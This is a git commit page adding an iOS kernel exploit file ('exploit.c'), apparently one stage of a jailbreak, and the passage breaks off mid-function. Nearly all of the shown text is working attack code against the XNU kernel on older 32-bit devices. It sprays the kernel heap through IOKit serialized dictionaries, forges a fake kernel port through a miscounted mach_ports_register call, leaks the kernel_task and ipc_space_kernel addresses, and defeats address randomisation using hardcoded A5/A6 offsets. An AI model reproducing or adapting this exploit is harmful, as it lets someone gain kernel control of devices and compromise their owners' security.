summaryrefslogtreecommitdiff
path: root/src/stage4/kexp
diff options
context:
space:
mode:
authorspv420 <spv@spv.sh>2022-07-31 03:39:07 -0400
committerspv420 <spv@spv.sh>2022-07-31 03:39:07 -0400
commit5e2fcfa6ed69699d13b766b79f4959a1aff8c858 (patch)
treedb2347755c6ffdf83e468bf42ba336c52c1d8bf5 /src/stage4/kexp
parent6527bbe41c02abc60a8e7eafb06945d81c44f33b (diff)
fuck the kernel
Diffstat (limited to 'src/stage4/kexp')
-rw-r--r--src/stage4/kexp/exploit.c895
-rwxr-xr-xsrc/stage4/kexp/exploit.js557
2 files changed, 1452 insertions, 0 deletions
diff --git a/src/stage4/kexp/exploit.c b/src/stage4/kexp/exploit.c
new file mode 100644
index 0000000..b33a74c
--- /dev/null
+++ b/src/stage4/kexp/exploit.c
@@ -0,0 +1,895 @@
+// Bugs by NSO Group / Ian Beer.
+// Exploit by Siguza & tihmstar.
+// Thanks also to Max Bazaliy.
+
+#include <stdint.h> // uint32_t, uint64_t
+#include <stdio.h> // fprintf, stderr
+#include <string.h> // memcpy, memset, strncmp
+#include <unistd.h> // getpid
+#include <mach/mach.h>
+#include <stdlib.h>
+
+#include <IOKit/IOKitLib.h>
+#include <IOKit/iokitmig.h>
+#include <assert.h>
+#include <sched.h>
+
+/*#include "nexploit.h"
+#include "offsetfinder.h"
+#include "thread.h"*/
+
+kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs);
+
+void suspend_all_threads() {
+ thread_act_t other_thread, current_thread;
+ unsigned int thread_count;
+ thread_act_array_t thread_list;
+
+ current_thread = mach_thread_self();
+ int result = task_threads(mach_task_self(), &thread_list, &thread_count);
+ if (result == -1) {
+ exit(1);
+ }
+ if (!result && thread_count) {
+ for (unsigned int i = 0; i < thread_count; ++i) {
+ other_thread = thread_list[i];
+ if (other_thread != current_thread) {
+ int kr = thread_suspend(other_thread);
+ if (kr != KERN_SUCCESS) {
+ mach_error("thread_suspend:", kr);
+ exit(1);
+ }
+ }
+ }
+ }
+}
+
+void resume_all_threads() {
+ thread_act_t other_thread, current_thread;
+ unsigned int thread_count;
+ thread_act_array_t thread_list;
+
+ current_thread = mach_thread_self();
+ int result = task_threads(mach_task_self(), &thread_list, &thread_count);
+ if (result == -1) {
+ exit(1);
+ }
+ if (!result && thread_count) {
+ for (unsigned int i = 0; i < thread_count; ++i) {
+ other_thread = thread_list[i];
+ if (other_thread != current_thread) {
+ int kr = thread_resume(other_thread);
+ if (kr != KERN_SUCCESS) {
+ mach_error("thread_suspend:", kr);
+ exit(1);
+ }
+ }
+ }
+ }
+}
+
+uint32_t find_kerneltask(){
+ // A5:
+ return 0x8041200c;
+ // A6:
+ // return 0x8041a00c;
+}
+
+uint32_t find_ipcspacekernel(){
+ // A5:
+ return 0x80456664;
+ // A6:
+ // return 0x8045e798;
+}
+
+#define SIZEOF_BYTES_MSG 384
+
+enum
+{
+ kOSSerializeDictionary = 0x01000000U,
+ kOSSerializeArray = 0x02000000U,
+ kOSSerializeSet = 0x03000000U,
+ kOSSerializeNumber = 0x04000000U,
+ kOSSerializeSymbol = 0x08000000U,
+ kOSSerializeString = 0x09000000U,
+ kOSSerializeData = 0x0a000000U,
+ kOSSerializeBoolean = 0x0b000000U,
+ kOSSerializeObject = 0x0c000000U,
+
+ kOSSerializeTypeMask = 0x7F000000U,
+ kOSSerializeDataMask = 0x00FFFFFFU,
+
+ kOSSerializeEndCollection = 0x80000000U,
+
+ kOSSerializeMagic = 0x000000d3U,
+};
+
+uintptr_t kslide = 0;
+mach_port_t fakeportData;
+
+
+#define MIG_MAX 0x1000
+#define PUSH(v) \
+do \
+{ \
+ if(idx >= MIG_MAX / sizeof(uint32_t)) \
+ { \
+ return KERN_NO_SPACE; \
+ } \
+ dict[idx] = (v); \
+ ++idx; \
+} while(0)
+
+
+/*** XXX ***/
+// TODO: rework this to a lookup table/registry
+
+////#define KERNEL_TASK 0x8041200c //iPod5,1
+//#define KERNEL_TASK 0x8041a00c //iPhone5,2 9.3.3
+//
+//// easiest to grab in convert_task_suspension_token_to_port
+////#define IPC_SPACE_KERNEL 0x80456664 //iPod5,1
+//#define IPC_SPACE_KERNEL 0x8045e798 //iPhone5,2 9.3.3
+
+#define TASK_BSDINFO_OFFSET 0x200
+#define BSDINFO_PID_OFFSET 0x8
+/*** XXX ***/
+
+
+static kern_return_t spray_data(const void *mem, size_t size, size_t num, mach_port_t *port)
+{
+ kern_return_t err, ret;
+ static io_master_t master = MACH_PORT_NULL;
+ if(master == MACH_PORT_NULL)
+ {
+ ret = host_get_io_master(mach_host_self(), &master);
+ if(ret != KERN_SUCCESS)
+ {
+ return ret;
+ }
+ }
+
+ if(size > SIZEOF_BYTES_MSG)
+ {
+ return KERN_NO_SPACE;
+ }
+
+ uint32_t dict[MIG_MAX / sizeof(uint32_t)] = { 0 };
+ size_t idx = 0;
+
+ PUSH(kOSSerializeMagic);
+ PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
+ PUSH(kOSSerializeSymbol | 4);
+ PUSH(0x0079656b); // "key"
+ PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
+
+ for(size_t i = 0; i < num; ++i)
+ {
+ PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG);
+ if(mem && size)
+ {
+ memcpy(&dict[idx], mem, size);
+ }
+ memset((char*)&dict[idx] + size, 0, SIZEOF_BYTES_MSG - size);
+ idx += SIZEOF_BYTES_MSG / 4;
+ }
+
+ ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, idx * sizeof(uint32_t), MACH_PORT_NULL, NULL, 0, &err, port);
+ if(ret == KERN_SUCCESS)
+ {
+ ret = err;
+ }
+ return ret;
+}
+
+
+#define msgh_request_port msgh_remote_port
+#define msgh_reply_port msgh_local_port
+
+static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count)
+{
+#pragma pack(4)
+ typedef struct {
+ mach_msg_header_t Head;
+ mach_msg_body_t msgh_body;
+ mach_msg_ool_ports_descriptor_t init_port_set;
+ NDR_record_t NDR;
+ mach_msg_type_number_t init_port_setCnt;
+ } Request;
+ typedef struct {
+ mach_msg_header_t Head;
+ NDR_record_t NDR;
+ kern_return_t RetCode;
+ mach_msg_trailer_t trailer;
+ } Reply;
+#pragma pack()
+
+ union {
+ Request In;
+ Reply Out;
+ } Mess;
+ Request *InP = &Mess.In;
+ Reply *OutP = &Mess.Out;
+
+ InP->msgh_body.msgh_descriptor_count = 1;
+ InP->init_port_set.address = (void*)(init_port_set);
+ InP->init_port_set.count = real_count;
+ InP->init_port_set.disposition = 19;
+ InP->init_port_set.deallocate = FALSE;
+ InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
+ InP->NDR = NDR_record;
+ InP->init_port_setCnt = fake_count; // was real_count
+ InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
+ InP->Head.msgh_request_port = task;
+ InP->Head.msgh_reply_port = mig_get_reply_port();
+ InP->Head.msgh_id = 3403;
+
+ kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ if(ret == KERN_SUCCESS)
+ {
+ ret = OutP->RetCode;
+ }
+ return ret;
+}
+
+#if 0
+static kern_return_t io_registry_entry_get_property_bytes(mach_port_t registry_entry, io_name_t property_name, io_struct_inband_t data, mach_msg_type_number_t *dataCnt)
+{
+
+#ifdef __MigPackStructs
+#pragma pack(4)
+#endif
+ typedef struct {
+ mach_msg_header_t Head;
+ NDR_record_t NDR;
+ mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */
+ mach_msg_type_number_t property_nameCnt;
+ char property_name[128];
+ mach_msg_type_number_t dataCnt;
+ } Request __attribute__((unused));
+#ifdef __MigPackStructs
+#pragma pack()
+#endif
+
+#ifdef __MigPackStructs
+#pragma pack(4)
+#endif
+ typedef struct {
+ mach_msg_header_t Head;
+ NDR_record_t NDR;
+ kern_return_t RetCode;
+ mach_msg_type_number_t dataCnt;
+ char data[4096];
+ mach_msg_trailer_t trailer;
+ } Reply __attribute__((unused));
+#ifdef __MigPackStructs
+#pragma pack()
+#endif
+
+#ifdef __MigPackStructs
+#pragma pack(4)
+#endif
+ typedef struct {
+ mach_msg_header_t Head;
+ NDR_record_t NDR;
+ kern_return_t RetCode;
+ mach_msg_type_number_t dataCnt;
+ char data[4096];
+ } __Reply __attribute__((unused));
+#ifdef __MigPackStructs
+#pragma pack()
+#endif
+ /*
+ * typedef struct {
+ * mach_msg_header_t Head;
+ * NDR_record_t NDR;
+ * kern_return_t RetCode;
+ * } mig_reply_error_t;
+ */
+
+ union {
+ Request In;
+ Reply Out;
+ } Mess;
+
+ Request *InP = &Mess.In;
+ Reply *Out0P = &Mess.Out;
+
+ mach_msg_return_t msg_result;
+ unsigned int msgh_size;
+ unsigned int msgh_size_delta;
+
+
+#ifdef __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined
+ kern_return_t check_result;
+#endif /* __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined */
+
+ __DeclareSendRpc(2812, "io_registry_entry_get_property_bytes")
+
+ InP->NDR = NDR_record;
+
+#ifdef USING_MIG_STRNCPY_ZEROFILL
+ if (mig_strncpy_zerofill != NULL) {
+ InP->property_nameCnt = mig_strncpy_zerofill(InP->property_name, property_name, 128);
+ } else {
+#endif /* USING_MIG_STRNCPY_ZEROFILL */
+ InP->property_nameCnt = mig_strncpy(InP->property_name, property_name, 128);
+#ifdef USING_MIG_STRNCPY_ZEROFILL
+ }
+#endif /* USING_MIG_STRNCPY_ZEROFILL */
+
+ msgh_size_delta = _WALIGN_(InP->property_nameCnt);
+ msgh_size = (mach_msg_size_t)(sizeof(Request) - 128) + msgh_size_delta;
+ InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128);
+
+ if (*dataCnt < 4096)
+ InP->dataCnt = *dataCnt;
+ else
+ InP->dataCnt = 4096;
+
+ InP = &Mess.In;
+ InP->Head.msgh_bits =
+ MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
+ /* msgh_size passed as argument */
+ InP->Head.msgh_request_port = registry_entry;
+ InP->Head.msgh_reply_port = mig_get_reply_port();
+ InP->Head.msgh_id = 2812;
+ InP->Head.msgh_reserved = 0;
+
+/* BEGIN VOUCHER CODE */
+
+#ifdef USING_VOUCHERS
+ if (voucher_mach_msg_set != NULL) {
+ voucher_mach_msg_set(&InP->Head);
+ }
+#endif // USING_VOUCHERS
+
+/* END VOUCHER CODE */
+
+ __BeforeSendRpc(2812, "io_registry_entry_get_property_bytes")
+ msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ __AfterSendRpc(2812, "io_registry_entry_get_property_bytes")
+ if (msg_result != MACH_MSG_SUCCESS) {
+ __MachMsgErrorWithoutTimeout(msg_result);
+ { return msg_result; }
+ }
+
+
+#if defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined)
+ check_result = __MIG_check__Reply__io_registry_entry_get_property_bytes_t((__Reply__io_registry_entry_get_property_bytes_t *)Out0P);
+ if (check_result != MACH_MSG_SUCCESS)
+ { return check_result; }
+#endif /* defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined) */
+
+ if (Out0P->dataCnt > *dataCnt) {
+ (void)memcpy((char *) data, (const char *) Out0P->data, *dataCnt);
+ *dataCnt = Out0P->dataCnt;
+ { return MIG_ARRAY_TOO_LARGE; }
+ }
+ (void)memcpy((char *) data, (const char *) Out0P->data, Out0P->dataCnt);
+
+ *dataCnt = Out0P->dataCnt;
+
+ return KERN_SUCCESS;
+}
+#endif
+
+typedef struct __attribute__((__packed__)) {
+ uint32_t ip_bits;
+ uint32_t ip_references;
+ struct __attribute__((__packed__)) {
+ uint32_t data;
+ uint32_t pad;
+ uint32_t type;
+ } ip_lock;
+ struct __attribute__((__packed__)) {
+ struct __attribute__((__packed__)) {
+ struct __attribute__((__packed__)) {
+ uint32_t flags;
+ uintptr_t waitq_interlock;
+ uint64_t waitq_set_id;
+ uint64_t waitq_prepost_id;
+ struct __attribute__((__packed__)) {
+ uintptr_t next;
+ uintptr_t prev;
+ } waitq_queue;
+ } waitq;
+ uintptr_t messages;
+ natural_t seqno;
+ natural_t receiver_name;
+ uint16_t msgcount;
+ uint16_t qlimit;
+ } port;
+ uintptr_t imq_klist;
+ } ip_messages;
+ natural_t ip_flags;
+ uintptr_t ip_receiver;
+ uintptr_t ip_kobject;
+ uintptr_t ip_nsrequest;
+ uintptr_t ip_pdrequest;
+ uintptr_t ip_requests;
+ uintptr_t ip_premsg;
+ uint64_t ip_context;
+ natural_t ip_mscount;
+ natural_t ip_srights;
+ natural_t ip_sorights;
+} kport_t;
+
+#define LOG(str, args...) \
+do \
+{ \
+ fprintf(stderr, str " [%u]\n", ##args, __LINE__); \
+} while(0)
+
+#define OUT_LABEL(label, code...) \
+do \
+{ \
+ ret = (code); \
+ if(ret != KERN_SUCCESS) \
+ { \
+ LOG(#code ": %s (%u)", mach_error_string(ret), ret); \
+ goto label; \
+ } \
+} while(0)
+
+#define OUT(code...) OUT_LABEL(out, ##code)
+
+
+uint32_t copyinPort(kport_t *kport, int cnt){
+
+ kern_return_t err, ret;
+ task_t self = mach_task_self();
+ io_service_t service = MACH_PORT_NULL;
+ io_connect_t client = MACH_PORT_NULL;
+ io_iterator_t it = MACH_PORT_NULL;
+ io_object_t o = MACH_PORT_NULL;
+
+ mach_port_t data;
+ OUT(spray_data(NULL, 0, 5, &data));
+
+ service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity"));
+ if(!MACH_PORT_VALID(service))
+ {
+ LOG("Invalid service");
+ goto out;
+ }
+ char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+
+ kport_t *kpbuf = (kport_t*)(tst+4);
+ for (int i=0; i<cnt; i++) {
+ kpbuf[i] = kport[i];
+ }
+
+ const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
+ OUT(io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &err, &client));
+
+ OUT(IORegistryEntryGetChildIterator(service, "IOService", &it));
+
+ bool found = false;
+ while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found)
+ {
+ uintptr_t buf[16];
+ uint32_t size = (uint32_t)sizeof(buf);
+ ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size);
+ if(ret == KERN_SUCCESS)
+ {
+ mach_port_deallocate(self, data);
+ data = MACH_PORT_NULL;
+ //OUT(spray_data(&kport, sizeof(kport), 16, &data));
+ OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
+
+ kslide = ((buf[9] & 0xFFF00000) + 0x1000) -0x80001000;
+ return (uint32_t)buf[4] - 0x78;
+
+ /* BREAKPOINT HERE */
+
+ found = true;
+ }
+ IOObjectRelease(o);
+ o = MACH_PORT_NULL;
+ }
+
+out:;
+ if(it != MACH_PORT_NULL)
+ {
+ IOObjectRelease(it);
+ it = MACH_PORT_NULL;
+ }
+ if(client != MACH_PORT_NULL)
+ {
+ IOObjectRelease(client);
+ client = MACH_PORT_NULL;
+ }
+ if(service != MACH_PORT_NULL)
+ {
+ IOObjectRelease(service);
+ service = MACH_PORT_NULL;
+ }
+ if(data != MACH_PORT_NULL)
+ {
+ mach_port_deallocate(self, data);
+ data = MACH_PORT_NULL;
+ }
+ return 0;
+}
+
+#pragma pack(4)
+typedef struct {
+ mach_msg_header_t Head;
+ mach_msg_body_t msgh_body;
+ mach_msg_ool_ports_descriptor_t init_port_set[];
+} Request;
+#pragma pack()
+
+void release_port_ptrs(mach_port_t port){
+ char req[sizeof(Request) + 5 * sizeof(mach_msg_ool_ports_descriptor_t) + sizeof(mach_msg_trailer_t)];
+ if (mach_msg((mach_msg_header_t*)req, MACH_RCV_MSG, 0, sizeof(req), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL) != KERN_SUCCESS)
+ printf("[!] Error mach_recv\n");
+}
+
+mach_port_t kp = 0;
+mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) {
+ if (!kp) {
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp);
+ mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND);
+ }
+
+ mach_port_t mp = 0;
+
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp);
+ mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND);
+
+ assert(0 == send_ports(mp, kp, 2, number_port_descs));
+
+ return mp;
+}
+
+kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs)
+{
+ mach_port_t init_port_set[num];
+ for(size_t i = 0; i < num; ++i)
+ {
+ init_port_set[i] = payload;
+ }
+
+ typedef struct {
+ mach_msg_header_t Head;
+ mach_msg_body_t msgh_body;
+ mach_msg_ool_ports_descriptor_t init_port_set[0];
+ } Request;
+
+ char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)];
+ Request *InP = (Request*)buf;
+ InP->msgh_body.msgh_descriptor_count = number_port_descs;
+ for (int i = 0; i < number_port_descs; i++) {
+ InP->init_port_set[i].address = (void *)(init_port_set);
+ InP->init_port_set[i].count = num;
+ InP->init_port_set[i].disposition = 19;
+ InP->init_port_set[i].deallocate = FALSE;
+ InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
+ }
+
+ InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
+ /* msgh_size passed as argument */
+ InP->Head.msgh_request_port = target;
+ InP->Head.msgh_reply_port = 0;
+ InP->Head.msgh_id = 1337;
+
+ return mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+}
+
+uint32_t spray_data2(char *data, size_t datasize, unsigned count)
+{
+ kern_return_t kr = 0, err = 0;
+ mach_port_t master = MACH_PORT_NULL;
+ io_service_t serv = 0;
+ io_connect_t conn = 0;
+
+
+ char dict[4096+512];
+ uint32_t idx = 0; // index into our data
+
+#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)
+
+ WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning
+
+ WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 1)); // dictionary with two entries
+
+ WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
+ WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian
+
+ WRITE_IN(dict, (kOSSerializeArray | kOSSerializeEndCollection | count)); // key with symbol, 3 chars + NUL byte
+
+ for (int i=0; i<count; i++) {
+ WRITE_IN(dict, ((i == count-1 ? kOSSerializeEndCollection : 0) | kOSSerializeData | datasize)); // key with symbol, 3 chars + NUL byte
+ memcpy((char*)dict+idx, data, datasize);
+ idx += datasize;
+ }
+
+ host_get_io_master(mach_host_self(), &master); // get iokit master port
+
+ serv = IOServiceGetMatchingService(master, IOServiceMatching("AppleMobileFileIntegrity"));
+
+ kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
+ if (kr != KERN_SUCCESS)
+ return printf("failed to spawn UC\n"),-1;
+ return 0;
+}
+
+static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num)
+{
+ size_t idx = 0;
+
+ PUSH(kOSSerializeMagic);
+ PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
+ PUSH(kOSSerializeSymbol | 4);
+ PUSH(0x0079656b); // "key"
+ PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
+
+ for(size_t i = 0; i < num; ++i)
+ {
+ PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8);
+ PUSH(ptr);
+ PUSH(ptr);
+ }
+
+ *size = idx * sizeof(uint32_t);
+ return KERN_SUCCESS;
+}
+
+static kern_return_t spray(const void *dict, size_t size, mach_port_t *port)
+{
+ kern_return_t err, ret;
+ static io_master_t master = MACH_PORT_NULL;
+ if(master == MACH_PORT_NULL)
+ {
+ ret = host_get_io_master(mach_host_self(), &master);
+ if(ret != KERN_SUCCESS)
+ {
+ return ret;
+ }
+ }
+
+ ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, &err, port);
+ if(ret == KERN_SUCCESS)
+ {
+ ret = err;
+ }
+ return ret;
+}
+
+static mach_port_t sanity_port = MACH_PORT_NULL;
+static uintptr_t kernel_task_addr = 0;
+
+task_t get_kernel_task(void){
+ kern_return_t ret;
+
+ OUT(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sanity_port));
+ OUT(mach_port_insert_right(mach_task_self(), sanity_port, sanity_port, MACH_MSG_TYPE_MAKE_SEND));
+ mach_port_limits_t limits = { .mpl_qlimit = 1000 };
+ OUT(mach_port_set_attributes(mach_task_self(), sanity_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));
+
+ suspend_all_threads();
+
+ printf("starting exploit\n");
+
+ char data[16];
+ kport_t kport[2] = {};
+ uintptr_t *ptr = (uintptr_t*)(kport + 1);
+ kport->ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
+ kport->ip_references = 100;
+ kport->ip_lock.type = 0x11;
+ kport->ip_messages.port.qlimit = 777;
+ kport->ip_receiver = 0x12345678; // dummy
+ kport->ip_srights = 99;
+
+
+ void *big_buf = malloc(MIG_MAX),
+ *small_buf = malloc(MIG_MAX);
+ size_t big_size = 0,
+ small_size = 0;
+
+
+#define PORTS_NUM 1024
+#define PORTS_NUM_PRESPRAY 100
+ mach_port_t fp[PORTS_NUM];
+ mach_port_t postSpray;
+
+ usleep(10000);
+ sched_yield();
+ uint32_t kptr = copyinPort(kport,2);
+
+ printf("0x%08x\n",kptr);
+ *(uint32_t*)(data) = kptr;
+ *(uint32_t*)(data+4) = kptr;
+ OUT(prepare_ptr(big_buf, &big_size, kptr, 256));
+ OUT(prepare_ptr(small_buf, &small_size, kptr, 32));
+
+again:
+ sched_yield();
+// for (int i=0; i<PORTS_NUM_PRESPRAY; i++) {
+// spray_ports(1024);
+// }
+// spray_data2(data, 8, 256);
+// spray_data2(data, 8, 256);
+// spray_data2(data, 8, 256);
+// spray_data2(data, 8, 256);
+// spray_data2(data, 8, 256);
+// spray_data2(data, 8, 256);
+ for(size_t i = 0; i < PORTS_NUM_PRESPRAY; ++i){
+ mach_port_t dummy;
+ spray(big_buf, big_size, &dummy);
+ }
+
+ sched_yield();
+ for (int i = 0; i < PORTS_NUM; i++) {
+ fp[i] = spray_ports(1);
+ mach_port_t dummy;
+ spray(small_buf, small_size, &dummy);
+// spray_data2(data, 8, 32);
+ }
+
+ sched_yield();
+ for (int i = 0; i < PORTS_NUM; i++) {
+ release_port_ptrs(fp[i]);
+ }
+
+ mach_port_t arr[2] = {MACH_PORT_NULL,MACH_PORT_NULL};
+ r3gister(mach_task_self(),arr,2,3);
+ printf("r3gister done\n");
+
+ mach_port_t *arrz=0;
+ mach_msg_type_number_t sz = 3;
+ mach_ports_lookup(mach_task_self(), &arrz, &sz);
+ printf("done %x %x %x %x\n", arrz[0], arrz[1], arrz[2], kp);
+ mach_port_t fake_port = arrz[2];
+ if(!MACH_PORT_VALID(fake_port))
+ {
+ printf("Exploit failed, retrying...\n");
+ goto again;
+ }
+
+ kport[0].ip_kobject = kptr + sizeof(*kport) - TASK_BSDINFO_OFFSET;
+ *ptr = find_kerneltask() + kslide - BSDINFO_PID_OFFSET;
+
+ char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+ kport_t *kpbuf = (kport_t*)(tst+4);
+ for (int i=0; i<2; i++) {
+ kpbuf[i] = kport[i];
+ }
+ usleep(10000);
+ sched_yield();
+ mach_port_destroy(mach_task_self(), fakeportData);
+ OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
+ printf("done realloc\n");
+
+ OUT(pid_for_task(fake_port, (int*)&kernel_task_addr));
+ LOG("kernel_task address: 0x%08lx", kernel_task_addr);
+
+ *ptr = find_ipcspacekernel() + kslide - BSDINFO_PID_OFFSET;
+ memset(tst, 0x44, sizeof(tst));
+ for (int i=0; i<2; i++) {
+ kpbuf[i] = kport[i];
+ }
+
+ usleep(10000);
+ sched_yield();
+ mach_port_destroy(mach_task_self(), fakeportData);
+ OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
+ printf("done realloc2\n");
+
+ uintptr_t ipc_space_kernel_addr = 0;
+ OUT(pid_for_task(fake_port, (int*)&ipc_space_kernel_addr));
+ LOG("ipc_space_kernel address: 0x%08lx", ipc_space_kernel_addr);
+
+ if (ipc_space_kernel_addr == kernel_task_addr) {
+ printf("Error: failed to leak pointers\n");
+ goto out;
+ }
+
+ kport->ip_receiver = ipc_space_kernel_addr;
+ kport->ip_kobject = kernel_task_addr;
+ memset(tst, 0x45, sizeof(tst));
+ for (int i=0; i<2; i++) {
+ kpbuf[i] = kport[i];
+ }
+
+ OUT(spray_data(tst, sizeof(tst), 10, &postSpray));
+ mach_port_destroy(mach_task_self(), postSpray);
+ printf("done postspray\n");
+
+ usleep(10000);
+ sched_yield();
+ mach_port_destroy(mach_task_self(), fakeportData);
+ OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
+ printf("done realloc3\n");
+
+ resume_all_threads();
+
+ return fake_port;
+ out:
+ if(MACH_PORT_VALID(fake_port))
+ {
+ ret = send_ports(sanity_port, fake_port, 1, 1);
+ if(ret == KERN_SUCCESS)
+ {
+ fake_port = MACH_PORT_NULL;
+ printf("Exploit failed, retrying...\n");
+ goto again;
+ }
+ printf("send_ports(): %s\n", mach_error_string(ret));
+ }
+ printf("Error: exploit failed :(\n");
+ return MACH_PORT_NULL;
+}
+
+uintptr_t kbase(){
+ return 0x80001000 + kslide;
+}
+
+#if 0
+void exploit(){
+ mach_port_t taskHacked = get_kernel_task();
+ uintptr_t kbase = 0x80001000 + kslide;
+ printf("got kerneltask!\n");
+ printf("kbase=%p\n",(void*)kbase);
+
+ char kdata[0x100];
+ memset(kdata, 0, 0x100);
+ vm_size_t bytesRead=0x100;
+
+ kern_return_t kr=vm_read_overwrite(taskHacked, kbase, bytesRead, (vm_address_t)kdata, &bytesRead);
+ printf("vm_read_overwrite=0x%08x\n",kr);
+
+ printf("DONE!!!\n");
+}
+#endif
+
+void exploit_cleanup(task_t kernel_task)
+{
+ kern_return_t ret;
+
+ mach_port_t self = mach_task_self();
+ OUT(r3gister(kernel_task, &self, 1, 1));
+
+ vm_address_t portaddr = 0;
+ vm_size_t sz = sizeof(portaddr);
